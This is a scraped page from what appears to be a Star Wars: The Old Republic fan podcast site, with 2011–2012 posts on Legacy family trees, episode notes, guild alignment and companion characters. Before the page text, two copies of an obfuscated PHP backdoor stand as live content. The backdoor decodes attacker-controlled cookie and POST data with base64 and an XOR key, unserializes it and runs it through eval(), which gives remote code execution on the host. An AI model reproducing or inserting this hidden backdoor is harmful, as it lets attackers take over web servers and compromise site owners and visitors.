$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> William Wallace – Corellian Run Radio
Mar 282012
 

Family tree arrangement & Legacy benefits

Many have debated how the Legacy family tree arrangement would impact their Legacy benefits. William Wallace, a senior game designer at Bioware, has cleared up all the debate. As he explains in his post, the arrangement of your Legacy characters has no positive or negative impact.

 More from William Wallace after the Jump…

Continue reading »

Oct 102011
 

Larry Everett Brings It

Roxanne couldn’t make it this episode, but we got Larry Everett (The Republic, Massively) to fill the third seat, which was great when we started our retrospective talk about following SWTOR because he’s been tracking this game since it was just a twinkle in BioWare’s eye. Bonus: three-minute blooper reel where Kathy cannot get through the outro.

FACT OR FICTION: Can you pick out the confirmed fact from the tall tales? This week’s challenge concerns companions, pre-ordering, and PvP.

More Show Notes and Comments after the jump… Continue reading »

Sep 262011
 

Just in time for Santa

It’s the release date episode! We each recount our stories of where we were and how we found out, as people do for significant events such as the JFK assassination or the Space Shuttle tragedy. Wildly inappropriate.

More Show Notes and Comments after the jump. Continue reading »

Sep 232011
 

Today is a good day for those who have a guild ready to go pre-launch. The Guild Alignment phase has begun, which means guilds can choose who their allies and adversaries are.

Not only that, but we also get part one of a two-part blog by William Wallace about Companion Characters. Some of the juiciest bits of that blog are a look into companion abilities/roles and a confirmation of companion customization.

Continue reading »

Apr 152011
 

We’re very excited to be featured in this month’s Fan Site Spotlight.  And aww they said Corellian Run Radio is “one of our favorite community podcasts.” Many thanks, BioWare, for giving us our moment in the sun.

Other cool stuff in today’s update:
Fan Art, fan kit updates, avatars, etc.
SWTOR at E3
Studio Insider: Environment Polish.  Senior Environment Artist Robby Lamb talks about the importance of proper environment work– everything from the “look” to concerns about frame rates.
Community Q&A: Senior Game Designer William Wallace tackles a variety of questions covering companion characters, class roles and specs, stealth, and more.

Polls:
Have you joined a guild for The Old Republic yet?
Which species are you most looking forward to playing as in SWTOR?

 

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